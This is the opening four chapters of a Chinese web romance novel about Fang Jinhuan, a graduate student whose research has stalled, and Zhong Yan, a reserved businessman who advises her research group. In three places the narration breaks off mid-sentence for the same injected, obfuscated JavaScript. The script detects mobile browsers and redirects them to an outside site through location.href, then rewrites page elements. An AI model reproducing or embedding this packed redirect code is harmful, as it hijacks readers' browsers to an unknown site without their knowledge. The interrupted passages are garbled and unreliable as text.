《人生尽欢》 1. 第 1 章 唉,真是苦恼。 手上现有的研究再度停了进度,尽欢辗转难眠,几乎整日整夜待在研究室。 谭老师劝过她几次,让她不要跟自己较劲。 谭老师说,过段时间系里会来一位大佬,也是她朋友,她专门请来对他们进行指导,到时候多听听他说的,或许能有所感悟。 这实在是位很厉害的人物,要不是他这段时间人在国外,她想现在就请人过来。 同课题组的同学在跟谭老师开玩笑,打趣说是不是谭老师准男朋友,不然怎么她能把人请来。 一群孩子开玩笑的话,谭老师笑笑,没解释。 尽欢并不寄希望于别人身上。 顶着两个大黑眼圈,接到了姑姑打来的电话。 月底姑父生日,姑姑喊她回家吃饭,特别嘱咐她,记得穿漂亮点,到时家中还会有其他客人。 尽欢从小约等于是被姑姑带大。 父母离婚后,父亲很快再婚,母亲也有了稳定恋爱的男朋友,她当时已经十二岁,马上读初中,跟着谁都不合适,姑姑最心疼她,当时自己才结婚没两年,直接把她接到了家里住。 尽欢和姑姑关系最好。 她从读高中到考大学,再到现在读研究生,只有姑姑一路看着她陪着她过来,姑姑是她无话不谈的姐妹,也是半个妈妈。 姑姑都这么说了,尽欢再气颓也要打起精神来,回家前一天,她在宿舍衣柜里翻,发觉今年都入秋了,她竟然一件新衣服都还没买。 这段时间泡实验室,无所谓穿着,几件旧衣服来回地穿。 于是尽欢临时去了一趟商场。 她在这些事情上向来很节省时间,特别是在最近时间不宽裕的情况下,更需要她一分钟掰开当成两分钟来用,逛到第二家店,她就已经买得差不多。 顺便她去剪了个头发。 之前的头发已经长到胸口,尽欢让理发师把发尾稍微修剪,做了个头发护理,她发质一直不错,头发是漂亮的黑色,落到锁骨上面一点是对她来说最舒服的长度。 她挑的这身衣服正和她年纪。 粉色针织衫是半高领,衣服修身,很舒服的针织面料,浅色牛仔裤衬出细而长的小腿,想着这两天气温骤降,她外面搭了件风衣。 到家是上午十点多,姑姑在门口接她。 半山别墅上难得热闹,停车坪停了好几辆不是自家的车,方书蕴见到尽欢,上下打量她,直心疼说她瘦了,明明也就一个多月没见。 方尽欢是个倔性子,她一头扎进自己的课题里就迫切想做出成绩,每天吃饭都是随便对付,瘦肯定是瘦了,她穿上去年的裤子都又大了一圈,见姑姑心疼,她挽住她手,笑着说:“那我今天一定多吃一点。” 方书蕴特地请的一位德国厨师,做猪肉和土豆都很擅长,菜单里一半是尽欢爱吃的,她今天当然要多吃。 尽欢跟着姑姑进门。 姑侄俩在讨论最近流行的妆容,分享新购入的口红颜色,方书蕴是丁克一族,不打算生孩子,她把尽欢当作自己唯一的孩子,两人之间无话不谈。 她家尽欢到底是漂亮,记忆里还是稚嫩的少女,如今几年已经出落得似一个漂亮女人,模样大方玲珑。 家里倒不像尽欢想的那样有那么多人,她目光扫了一圈,问:“姑父呢?” 方书蕴指了指楼上:“在招待贵客。” 对所谓的贵客,尽欢不是很感兴趣,多半是姑父生意上的伙伴,这和她没多大关系。 姑姑要去厨房催一下进度,尽欢自己在楼下吃了点小蛋糕,这些蛋糕她一吃就知道是姑姑自己做的——她最近在捣鼓烘焙,做了好些小饼干小蛋糕什么的。 别墅里开了空调,温度逐渐上来,尽欢把风衣外套脱了挂在一边,她皮肤敏感,一热就先从脖颈开始变红。 不会过敏了吧? 尽欢用手背探了探脖子降温,不敢去挠,她皮肤一旦留疤就难长好,这又成了今天新的苦恼问题,为不在姑父生日宴上出丑,她想回房间找过敏药吃。 因为常过敏,家里备了这个。 尽欢浅浅叹口气,她转身往楼上走。 手才扶上栏杆,察觉到头顶有道冷淡的视线,如同一张密不透风的大网从她头顶罩下,她呼吸莫名一停,目光缓缓往上,看到男人同样搭在栏杆上的手。 骨节修长有力,延伸到手腕的力量感,让尽欢只觉心脏发紧,她缓了下继续看过去,从男人的银色腕表,黑色西装,黑色丝绒质地的领带,银色领夹别在上面…… 光是这样已经让尽欢难以呼吸。 她缓了缓,目光才往上去看他的脸。 他眼睛很深邃,冷淡却凌厉,眉骨处棱角柔和让他温和里含着疏远,他就这么居高临下地审视着她。 是尽欢单方面认为的“审视”。 因为她感觉到自己刚刚发烫的地方已经开始蔓延,从脖颈蔓延到脸颊,她皮肤白,一红起来格外显眼,她有种小学时做了坏事被班主任抓现行的羞愧感。 意识到这样盯着人看不礼貌,她视线慌忙挪开,楼梯上的人早已先她一步转身——身后有人在喊他。 喊的英文名,似乎是叫Elvis,他答应,回头礼貌地笑了下:“没关系,还不饿。” 声音磁性且充满魅力,让尽欢忍不住想到“行走的春药”这个词。 回到房间,尽欢从抽屉找出一粒过敏药,就着矿泉水一口吞了下去。 事实上她都不知道自己是不是过敏,只是脖颈这块实在烫得难受,一粒药吃下去似乎没什么效果。 那可能不是过敏。 尽欢自己也不知道,她是第一次有这样怪异的感觉,包括心脏一直跳得很快,她努力顺着胸口,试图来缓解一点这样的不适。 半个小时后,尽欢从房间出来,回到宴会厅,她才想起衣服还挂在外面。 厅里已经多了不少人,尽欢目光有意识地扫过一圈,见刚刚那个男人现在正同一位金发碧眼的外国人交谈。 那应该也是姑父的合作伙伴,一个德国人,尽欢之前见过。 别人说话时他听得很认真,偶尔微笑颔首给予回应,更多时候面色冷淡,看得出来他应对这样的场合游刃有余。 “尽欢,你尝尝这个。”方书蕴喊她,手上拿了一杯咖啡,是她自己做的,最近有朋友送了些咖啡豆,醇香和苦味均衡,不是很酸,很合她胃口,想来尽欢也会喜欢。 “谢谢姑姑。”尽欢接过,她抿了一小口,冲姑姑笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457258|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 是好喝。 最近泡实验室都靠咖啡续命,每天上午点一杯下午点一杯,感觉自己血液里都快闻到冰美式的味道了,不过喝多了店里那些,姑姑做的到底不一样。 “姑姑,那位是谁?”尽欢看向男人的方向,小声向方书蕴询问。 “贵客。” 方书蕴说:“那位是钟晏,钟先生。” 钟晏。 尽欢在心里默念,是她没听过的名字。 咖啡豆就是钟先生送的,他对食物品质有高要求,上次提到说咖啡豆,他就记着,前段时间出国特地给他们带了过来,方书蕴很惊讶钟先生会把这样的小事放在心上,毕竟她也只是随口一说。 说到这,方书蕴准备再做一杯,给钟先生送过去,毕竟是他买的豆子。 “姑姑,我去吧。”尽欢抢先说,“我给钟先生送过去。” 方书蕴倒不是太在乎这个,只是贵客要招待好,尽欢是个做事妥当的孩子,尽管如此,方书蕴还是嘱咐她,在钟先生面前要礼貌,他这个人应当会更喜欢乖孩子。 尽欢都答应,她等到钟晏和人交谈完,她才端了咖啡过去。 宴会上有不少小点心,咖啡和点心更配,尽欢只是自己这样想,于是又自作主张配了一块小蛋糕,半个巴掌大,尽欢两口能吃一个。 她刚刚吃了不少蛋糕啦,这个是她尝了最好吃的。 尽欢对咖啡没有很懂,对甜食却有一定造诣,她看到钟晏时,莫名想把好吃的分享给他,尽管擅作主张让她有点紧张,特别是他看过来是,眼神温和却充满压迫感,让尽欢呼吸渐缓。 “钟先生,这是我姑姑给您做的咖啡。”尽欢是面对长辈时最乖巧的女孩子,她把盘子放他面前,心里稍许慌张,语气很轻,笑得应该得体,“她说谢谢您的咖啡豆。” 钟晏目光只在女孩身上停了片刻,随后转到这杯咖啡上,旁边搭配的小蛋糕还缀着奶油,雪白的,安静待在那里,看起来比这杯咖啡打眼,是有点喧宾夺主。 “替我谢谢你姑姑。”他礼貌笑道。 他伸手拿起杯子,放嘴边尝了一小口,从他表情里看不出来满意或者不满意,他一双眼睛就像杯子里的温水,不冷不热,毫无波澜。 喝了一口,他放下杯子,又看尽欢一眼,说道:“也谢谢你的蛋糕。” 女孩子才会精心搭配的吃食,对这样小孩子的行为,钟晏并无多在意,即使他并不怎么爱吃甜食,还是对她特意搭配的蛋糕表示感谢。 尽欢没想到他还会特意谢谢这个。 她脸一下子变得更红,实在是不体面,话到嘴边却说不出来任何,一向大方的她开口变得结巴:“不、不用谢。” 尽欢不知道她紧张什么,但在他面前就是紧张。 这种紧张还没有被缓和,又听见他说。 “方小姐,我尝一口,但应该不会吃完。”他平缓道,“你不要介意。“ 一块蛋糕而已,没必要和她解释这么多,再说他是客人,她真的无所谓介不介意,不过足以看出他这个人行事有多妥帖。 一句“方小姐”,让尽欢耳后也变红。 不过短短两分钟的交谈,尽欢却在想—— 钟先生是个好人。 2. 第 2 章 明天是周末,姑姑让尽欢今晚在家住。 她实验上的事,姑姑也有了解,家里女孩子一遇到事容易犯倔,偏偏她学校的事她也帮不上忙,白天忙着招待客人,晚上一家人才坐在一起吃个饭。 尽欢给姑父带了礼物,是她年初淘到的一套瓷器,姑父的书房缺一个摆件,尽欢都替他想好了,摆在那里就好。 因为姑姑的关系,尽欢和姑父关系还算融洽,姑父比姑姑小上两岁,尽欢还记得他们谈恋爱的时候,他叫她小不点,当时尽欢还嫌弃他幼稚,配不上姑姑。 但他们夫妻感情十年如一日,尽欢全部看在眼里,姑父对她好是因为姑姑,这大概就叫爱屋及乌。 晚饭吃的是家常菜,姑姑亲自下厨,这道苹果烤排骨尽欢最喜欢,鲜香微甜口,正好合尽欢口味。 尽欢在认真吃饭,听见姑姑提起钟晏的名字,尽欢一小口肉咽下去,抬起头来。 方书蕴笑道:“怎么了?” 尽欢摇摇头,好奇问:“今天那位钟先生是和姑父有合作吗?” 陈之颂回答:“没有。” 不过是这段时间有些交集,合作谈不上,毕竟他们目前还没有足够资本和钟先生合作,他能答应来参加他的生日宴,已经是赏脸。 钟晏是个很体面的人,他行事果断,手腕凌厉,待事为人却温和,从不露厉色,正是这样让人不能轻易看透他,陈之颂想的是,争取个来往关系,对日后总是有利。 生意人的想法就是这样,生意场上,关系要打点好。 听到这里,尽欢更好奇,她以前从不打听这些,这次却忍不住问:“这位钟先生是什么人?” 方书蕴想起她白天主动要给钟先生送咖啡,现在又对人好奇,不用问都知道,她家尽欢肯定是看人长得好看——女孩子有这样花痴的心思很正常。 “钟家在南城是百年家族,家族企业覆盖很广,势力庞大,钟先生是他们家族一支里唯一后代,其余旁亲倒是很多。” 说到这就不得不提到一件事,方书蕴本来不想说,但看自家侄女饭都忘了吃,就这么盯着她,她于是继续说。 “钟先生到这个年纪还没有结婚,也从来没有过女朋友,家族里那些旁亲对他正虎视眈眈,钟老爷子这两年身体不好,正准备交权,但前提是要他先结婚,不然,堵不住那些旁亲的嘴。” 所以钟晏正在寻找一个合适的结婚对象。 他到如今三十来岁,放正常人身上是孩子已经上小学的年纪,他却似乎对男女之事不感兴趣,正因此才让家族那些人有机可乘,传出谣言来,说他要么取向有问题,要么那方面有问题。 都不是什么好话。 如果有缺陷,那钟家落他手上不是要断代。 这样的话能看做那些旁支对他的攻击,钟晏虽然不在乎这些,但钟老爷子在乎,他就这么一个孙子,他如果不成家,老爷子怕将来自己走了都不能合眼。 在小辈面前说钟先生这样实在不好,方书蕴刚说完就意识到,话头到此打住。 她立马嘱咐尽欢,不要去乱说这些。 尽欢还没听完,话戛然而止,她乖乖点头:“不会乱说。” 晚饭后回到房间,尽欢就在网上搜索钟晏的名字。 搜出来的信息少之又少,只有几篇单纯文字的新闻稿,关于钟家的信息倒是多一些,能看出来他很注重保护个人隐私。 尽欢就这样盯着屏幕看,这天晚上,她竟然短暂地忘记了实验停滞带给她的困扰。 钟晏在中餐后不久就离开,尽欢当时在二楼,看着他上车,她下意识目送他,直到车尾气都看不见。 尽欢的「过敏」才见好转。 她摸了摸脖子,再摸到耳后,对这样奇怪的反应感到不理解。 她第一次这样。 . 早上尽欢起晚了,差点迟到。 她从宿舍出来,刷牙洗脸,随便抓了件外套,平常如果有时间的话她会在食堂买点吃的,尽欢对早饭实在不挑,有时候光吃块吐司就行。 不过咖啡一定要有。 来不及买的话就线上点,不然刚起床实在提不了神,今天上午有一节课,她赶到教室时,杜青栩已经给她占好了座位。 他朝她招手。 尽欢松口气,在他旁边的座位坐下,跟他说了句“谢谢”。 杜青栩没说话,只是冷淡地点头。 杜青栩是她同班同学,两人导师都是谭老师,当然也在一个课题组,杜青栩这人不大爱说话,入学刚认识时,尽欢还以为他对她有意见。 方尽欢一直是个有话直说的人,她对这些人际关系方面比较敏感,察觉到杜青栩态度不对后,她有天下课直接问他,是不是对她有误会,如果是的话,她可以跟他解释。 杜青栩当时愣住,半晌摇头,说没有。 他窘迫地解释,他只是不习惯和人相处,没有任何针对她的意思。 说到这杜青栩急得脸红。 他这个人,平常不是白衬衫就是白T恤,即便衣领被洗得发白,他也保持着干净整洁,衣服上甚至少有褶皱,这和他在实验中的风格一样,严谨又细致。 后来尽欢听到其他同学谈论,说杜青栩家庭情况不好,他父亲在他几岁的时候就去世,母亲独自养大他,好不容易看他要有出息了,结果前两年查出来乳腺癌。 为了给妈妈做手术化疗,杜青栩平常一有时间就会去做兼职,他生活被这些事填得很忙,现在研二又正是关键时候,尽欢常常佩服他能有这么多精力,可以把时间掰成两半来用。 不过尽欢也知道这没什么好羡慕的,他只是被生活逼到了这里,迫不得已罢了。 尽欢从包里拿出书,又拿出笔,她把笔摆到桌子上,目光一扫,看到杜青栩手边的笔,惊叹道:“我们的笔一样欸。” 真是好巧。 尽欢每次逛商场,总喜欢带点漂亮的笔和本子回来,挑挑选选积攒了一大堆,虽然有那么多,最爱用的还是这一支。 写起来手感很舒服,尽欢就总用。 没想到杜青栩有一支和她一样的,之前好像没见过。 尽欢看过来时,杜青栩捏着笔手指僵硬了下,他随后点点头,轻声应了句:“是啊。” 尽欢只觉得巧,倒没多想。 杜青栩不管是上课还是做实验永远都最认真,今天看他打了几个哈欠,估计昨晚没睡多久,尽欢在点咖啡,问要不要给他也来一杯。 杜青栩摇摇头:“不用。” 他好像从不喝这些。 下课后,谭老师打电话,喊他们来她办公室一趟。 尽欢路上在苦恼组会汇报的事。 她进度停滞,感觉差不多的内容都汇报两次了,她还是丝毫没有进步,尽欢实在羞愧,羞愧到在同课题组的同学们面前要抬不起头。 杜青栩看她愁眉苦脸,难得安慰她,让她放宽心。 她这种时候大家都有,组会的时候一起多交流,总会想到解决办法的。 杜青栩安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457259|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰人都一本正经,很有老师范,加上他话不多,多说上几句尽欢反而想笑。 不过这样不礼貌。 谭老师在办公室等他们。 上次和他们提过的那位大佬,他已经回国了,前两天联系他,约了今天他有时间,正好来听一下他们的组会汇报。 谭老师主要是和尽欢说。 作为她的导师,谭老师也为她捏一把汗,但她作为导师,能做的都做了,帮她把控大方向,提出疑难点,但到底研究是她自己的,最后还是要靠她自己。 谭老师嘱咐尽欢,这次汇报好好做,毕竟机会只有这一次。 尽欢认真听着,点头答应。 然后谭老师又跟杜青栩说,让他有时间也帮一帮尽欢。 尽欢刚想说不用,不要麻烦杜同学了,结果杜青栩已经应了声“好”。 中午尽欢回宿舍,换了身衣服,又花十分钟画了淡妆,剩下几个小时她都在修改自己的汇报PPT。 对待和自己前途有关的事,尽欢一直很谨慎,尽管前两次的汇报内容差不多,她还是没有松懈,重新记录了一下自己遇到的困难和问题,整理汇总起来。 下午尽欢提前半小时到教室。 她先试了一下自己的PPT播放正常,音频和动画都可以正常展现,然后就坐回座位上,重新熟悉一遍中午匆匆整理的笔记。 尽欢的头发扎成低马尾在脑后,刚剪过头发不是太长,发尾正好搭在肩膀上,她今天穿了一件白色毛衣,手里握着笔,低下头,阳光正好照在她侧脸,和毛衣一样白的肤色,像极了一汪温柔的,缓慢流动的清水。 谭老师之前和她提过几次她那位朋友,从她的描述里尽欢猜测是位很有威严的学术大佬,就像隔壁系的汪教授一样,令人佩服又敬重,尽欢一向很怵这样的大佬,她害怕受到批评,会严重打击她的自信心。 那会让她花上很长一段时间才能恢复过来。 尽欢低头时,看到教室门口有个身影,她动作停了下,下意识喊了声:“杜青栩?” 每次她早来,杜青栩总是紧随其后第二个,空荡的教室常常只有他们两个人,杜青栩正好不爱说话,他在这里也不会打扰她,很低程度减少彼此的存在感。 视线往上,话刚停在嘴边,落入视线男人宽大沉稳的肩膀,一件深蓝色羊绒大衣,再往上,是一张她见过的,无法忘记的脸。 “你好。”他开口,仅仅一声招呼让尽欢变得无法呼吸,她眼睛快速眨了眨,话全部卡在喉咙里。 她都没有脑子去想钟先生为什么会在这个时候出现在这里。 他神情温和,从他的目光里尽欢猜测他应该不记得她,毕竟只是生日宴上见过一面,她又不是什么重要的人,不记得她很正常。 不过没关系,尽欢在调整呼吸后,她站起来,主动开口:“钟先生,您好。” 马上她主动解释:“上周我姑父生日,我们见过。” 钟晏面色冷淡,显得他这张脸尤为优雅立体,他对尽欢的介绍毫无反应,也没有任何思考的动作,在听她说完后,才淡声开口:“方小姐。” 哦,原来他记得。 一句“方小姐”让尽欢喉头一紧,她手握着笔的力气跟着紧了紧,觉得嘴角有点干,想抿一抿。 “你是谭希的学生?”钟晏没有贸然走进,他出声询问。 谭老师? 尽欢点点头:“是。” 然后她鬼使神差般,主动跟他介绍:“我叫尽欢,方尽欢。” 3. 第 3 章 尽欢没有把眼前的人和谭老师说的那位大佬所联系起来,她甚至根本没有往这方面想。 说完自己的名字才想起来他根本没有问,她这像上赶着介绍自己,尽欢有点不好意思地低下头,完全忘了要问他现在为什么会出现在这里。 “方尽欢。”他念出她的名字,语气听起来不觉得她冒犯,反而因为他磁性的声音,让她觉得她名字听起来更好听了。 然后听他介绍道,“我叫钟晏,是你们谭老师的朋友。” 谭老师的朋友这个身份让方尽欢愣了愣,她又看一眼时间,后知后觉反应过来,钟晏就是谭老师说的那位大佬。 尽欢惊讶地嘴巴微微张开。 她表情太明显的诧异,然后就是打量,因为没办法把眼前的英俊儒雅的男人和想象中的学术大佬联系起来,隔壁系那位教授……他头发都秃一半了……原来还有这样的大佬…… 于是两个相差极大的形象在她脑子里艰难重合,就像两块根本不契合的积木,她强压着震惊才能把它们拼到一起。 “钟、钟老师。”尽欢都结巴了。 他温和地说:“不用喊我老师,我还算不上。” 教书育人的才是老师,他并没有学生,算哪门子的老师。 谭希请他来的时候他思考了很久才答应,虽然他当年研究生的时候成绩还不错,发表几篇论文算顺利,但到底没有教过学生,自己懂和能教明白是两回事,钟晏很有这个自知之明。 再说也过去那么多年。 他一纠正,尽欢立马改口:“钟先生。” 尽欢一向很有眼力见,她声音生来偏温柔,显得有亲和力,加上爱笑,害羞的或者抿嘴笑,外貌的优势让她从小可以轻松获得别人的好感,无论是男生还是女生。 钟晏对这样的好孩子一向也比较宽容,他淡声询问:“来很久了?” 约定好的时间是四点,他早到了学校正好就过来了,距离开始还有二十分钟,教室里早早坐了人。 尽欢“啊”了声,摇摇头说:“才来了一会儿。” 钟晏看出她的紧张,这很正常,他说:“先坐吧。” 尽欢:“哦。” 她这时候才意识到自己正傻愣愣站着,像只鲁莽的二哈盯着人看,她赶紧坐下。 这时候钟晏手机响了。 电话那边的好像是谭老师,钟晏说他已经到了,接着没说两句,挂掉了电话。 谭希和其他学生在来的路上。 暂时和钟晏单独身处在一个空间,即使隔着有一段距离,尽欢也紧张到呼吸变缓,看来不是学术大佬更甚学术大佬,尽欢脑子里已经在回想自己的PPT内容,思索有没有任何不合理性,知道自己的研究成果目前还拿不出手,她也一点都不想在钟先生面前出丑。 这样的时间没持续太久。 谭老师和其他同学随后就到。 谭希见到钟晏,笑着过去和他说了几句话,听不清说什么,不过两人看起来很相熟。 组会汇报的顺序之前就已经定好,尽欢是第二个,在杜青栩后面,是一个让她比较有压力的顺序。 没办法,杜青栩这个人,虽然身兼数职,但他什么都能做好,每次他的汇报总能有新内容,谭老师第一个夸赞的也总是他。 杜青栩汇报结束后,他用嘴型对尽欢轻轻说了句“加油”。 尽欢似乎没听见,她在看钟晏的方向。 他坐在谭老师身边,坐姿随和,却能感受到他气势下的不可侵犯,在听汇报时很认真,等同学们和谭老师提出问题后,他最后才发言。 他一开口,教室里变得鸦雀无声。 之前谭老师提起要请他来,同学们还在开玩笑,说是不是谭老师的男朋友,说些什么需不需要他们帮忙撮合一下这样的话,但真的见到人了,谁也不敢乱说,这次汇报是气氛最沉重的一次。 尽欢点开自己的PPT,深吸一口气。 所幸中午整理过一遍思路,汇报起来还算顺畅,没有卡壳没有结巴,条理也算清晰,尽欢视线在环绕一圈时也从钟晏身上扫过,他其实神色一直很冷淡,只不过眉骨处稍圆润的过渡让他有种看起来温和的错觉,他的表情和刚才听杜青栩讲的时候没有太大变化,但尽欢就是觉得,他脸色比刚刚要差一点。 毕竟她做得不好。 她确实不够好。 尽欢满脑子都是这样的想法,谭老师说完后,她目光转向旁边的钟晏。 “不要紧张。”钟晏倒不觉得自己是什么洪水猛兽,不至于从进门起就让小姑娘紧张成这样,他语气放轻,再次对她说道,“不要紧张。” 尽欢点头,知道了。 她会尽量……不紧张的…… 钟晏然后才继续说。 他一阵见血,指出她现在遇到的几个问题里,技术性难关应当最难攻克,她的选题方向有那么难,至少以她目前的学习水平来说,已经超出她能力范围外。 没有所谓她想象中会有的批评,对于她目前的困境,谭希肯定已经给出过建议,钟晏说,目前他公司有这方面的新技术,如果她想了解的话,他可以给一些资料给她。 “真的吗?”尽欢很惊喜,确实对她来说最难的就是技术,但她的研究进行到这里,她又不愿意换新的选题,毕竟已经花费她这么多心思。 如果有前沿的技术指导那肯定再好不过,简直事半功倍。 钟晏点头,他说的话当然都是真的,他没必要逗弄人。 尽欢笑了出来。 这是她今天进这个教室之后第一次笑得自然,开心是真的。 另外—— 钟晏缓声道:“汇报思路不错。” 尽欢眨了眨眼睛。 她眼睛有很温柔的颜色,像春天里一束粉色的鸢尾花,听到夸赞她更开心,是对她整理了那么久成果的认定,尽欢原本紧张的嘴角彻底舒展了。 汇报结束后,尽欢跑去楼下咖啡店要了一杯拿铁,学校的咖啡都供学生,胜在价格便宜,口味凑合,要不是时间来不及,她好歹去校门口的星巴克买一杯,但尽欢还是点了一杯最贵的。 她赶到教学楼下时,钟晏正准备离开。 尽欢小跑过去,到他面前,钟晏听到急促的脚步声,他于是停了下来。 看出来她是来找他,钟晏目光落在她身上,女孩子的脚步很急,跑起来发尾在飞舞,就捧着手上的咖啡不撒手。 “钟先生,我来谢谢您。”尽欢把手上的咖啡递过去,“给您买了这个。” “学校里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457260|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有这个。”尽欢向他解释。 不是什么拿得出手的东西,不过尽欢想可能也只有这样拿不出手的东西他才不会拒绝。 钟晏看向她递过来的咖啡,出于礼貌,他接了过来:“谢谢。” 尽欢见他接了咖啡,松一口气,紧接着说:“那我能加您的联系方式吗?方便您给我资料。” 钟晏的目光散散落在她眼睛上。 小女孩家的心思,他看得很明白,他说的给资料,当然是通过谭希,他没有绕过她和她学生联系的道理,再说都是些小孩子,他私下联系也不好。 方家这个孩子,见到他时紧张,现在又鼓这么大勇气来要他联系方式,不过有些什么心思也无伤大雅……钟晏刚收了人家咖啡,他眉眼压得冷淡,拒绝道:“联系方式不用加,资料我会发给你们谭老师。” 尽欢早就猜到她要联系方式他大概率不会给,但她还是想来试一试,果然被拒绝,她稍许尴尬,不过没太纠结这上面,马上揭过:“好,那我到时候问谭老师要。” 她并不纠缠,怕他觉得她烦,往后退了一小步,再次说:“今天还是很谢谢您。” 风从她耳边吹过,一缕头发还搭在额边,是刚刚跑得太急了所以漏出来这么一缕,让她看起来实在可爱。 她这样年纪的人,本身也正鲜活。 尽欢轻声道:“您一路顺风。” . 回到宿舍,尽欢洗了澡出来,发现大家在群里聊得热火朝天。 话题围绕在钟晏身上。 之前没听说过谭老师还有这样的朋友,举手投足间的气质就知道肯定是大人物,他在的时候大家不敢讨论,等人走了才在群里惊叹。 虽然他目光温和,语气也很舒服,但他就是无形中给人一种压迫感,在他面前,一个个都变成了乖学生。 哪有之前组会的时候,混熟了都在开玩笑,你一眼我一语的,打哈哈地笑。 谭希就像他们的姐姐,每次时间久了还给点奶茶喝。 钟先生面前,口渴了喝水都下意识小心翼翼。 更不敢讨论,仿佛多说两句都是对他的冒犯。 景欣胆子最大,在群里开玩笑,说钟先生和谭老师郎才女貌,一起坐在那里的时候好般配。 一群孩子就喜欢胡说,谭希没说什么,把话题拉回到学习上来,让他们整理一下思路,再把今天提出的问题和解决方法都自己整合一下。 下次组会最好要有明显进度了,谭希最后一句强调。 这话像是对尽欢说的,她盯着屏幕,只觉有些脸红。 又过去半小时,谭希把一些资料私发给尽欢。 同时嘱咐她,这些资料她记得保密不要外传,有不懂的随时问她。 尽欢在谭希这些学生里算不上最聪明,但她好学,有上进心,身上有一股不服输的韧劲,笑起来温温柔柔的,最招人喜欢。 所以谭希也最喜欢尽欢。 她说的尽欢都一一答应,她这边打出一行字想问一下关于钟晏,才打出来又全部删掉。 他既然不喜欢透露自己隐私,她再向谭老师问就显得她不尊重人,也会让谭老师为难,实在不应该这样。 等下次再见,尽欢想,下次肯定还有机会再见到。 4. 第 4 章 尽欢没想到下次再见来得那么快。 她回家里拿东西,看到门口停着的车,愣了下,下意识去看车牌号——是钟先生的车。 仅两次尽欢就记住了他的车牌号,她不是有意要记,只是等反应过来数字已经留在了她的脑子里,真是奇怪,她读书的时候要是有这个记忆力,早都过目不忘了。 钟晏有事和姑父谈,两人在书房说话,尽欢待在客厅,给旁边姑姑倒了杯水,有意无意向她打听。 方书蕴笑着说她小狗腿子。 有点什么事了就在这一个劲献殷勤,生怕别人不知道她在想什么,再说献殷勤也不知道献点好东西,就给倒一杯水。 尽欢坐姑姑身边,冲她笑。 自己家的事什么都能说,别人的事是真不好多说,方书蕴喝了口水,简单说了几句。 尽欢从她的话里能听出一二。 钟先生最近是很着急结婚的事,大概是家里给了他期限,就这个月的样子,姑父那边有个朋友,和他年龄相貌都很合适,如果他同意,可以认识认识。 那些家族之间的事,尽欢并不懂,只是大概能从描述和她自己观察里揣测到,钟晏是个要求很高的人,这种要求高体现在很多方面。 尽欢只在想,他对年龄会有要求吗? 唉,年龄的话就有点困难了,她今年二十三多点,用虚岁的算法,勉强也能算个二十四岁,钟晏大概率和谭老师一样年纪,那可能是32或者33的样子。 尽欢计算,哦……约等于一个十年的差距。 这就意味着,他到大学毕业了她甚至还在上小学,广泛层面上有所长度的年龄差距。 她还没有步入社会,他却已经在生意场上游刃有余,他们之间有足够大的差距,能成为难以跨越的鸿沟。 尽欢知道,有时候像她这样年纪的人,会被认为太小,只有长辈才会喜欢小孩子的。 是这么个道理。 但……又不是百分百就这样。 不试试怎么会知道呢? 尽欢从来敢于尝试,只有尝试之后失败了才不会后悔,她不想给自己设限。 长辈在书房谈话,她倒是显得最坐立不安,方书蕴习惯了这个点要午睡,于是她先回了房间,剩尽欢一个人坐在客厅。 今天回家拿东西,原本是拿了就要走,现在却在想……他们谈话不口渴吗?怎么都不喊人送水?姑父说的合适的朋友又是谁?会不会是她认识的人? 在记忆里搜寻了一圈,都觉得不对。 眼看半个小时过去。 听到书房传来声音,她立马起身来看,见姑父正送钟晏出门,尽欢顿了下,拿起包跟上去。 姑父正好见她要走,忙问她怎么不留家里吃晚饭,尽欢匆匆拒绝。 她小跑两步,跟上钟晏的脚步。 钟晏正要上车,见她跟来,想来小姑娘又是有小姑娘的事,于是停下听她说。 “钟先生,不好意思又打扰你了。”尽欢指了指山下,”我要回学校,您能顺路捎我一段吗?” 有点冒味的请求,主动让人家客人捎她这种事,换作以前尽欢肯定做不出来,特别姑姑还再强调过了这是贵客,不好惹贵客不高兴的。 尽欢潜意识觉得钟先生并不会不高兴。 车里除了钟晏还有司机,他并不会吝啬载人一程,但他还是向她确认道:“你确定吗? 尽欢肯定地点头。 “你姑姑姑父知道?”钟晏再次询问。 尽欢顿了下,也点头。 这一下她有点心虚,视线下意识别开了下。 她的异样被钟晏收在眼里,说点小谎什么的也不重要,他淡淡应了声:“那上车吧。” 钟晏于是替她拉开车门。 上车后,钟晏坐在车里闭目养神。 尽欢坐在另一边,过了好一分儿,才偷偷看他。 车里很干净,有股淡淡的焚香皮革味,不知道是车里味道还是他身上的,总之很好闻,是会让尽欢变得脸红的好闻味道。 说捎她一程真的就是简单的捎她一程,从别墅到下山也就十分钟车程,眼看已经到了山下,钟晏没睁眼,却说:“到了就说。” 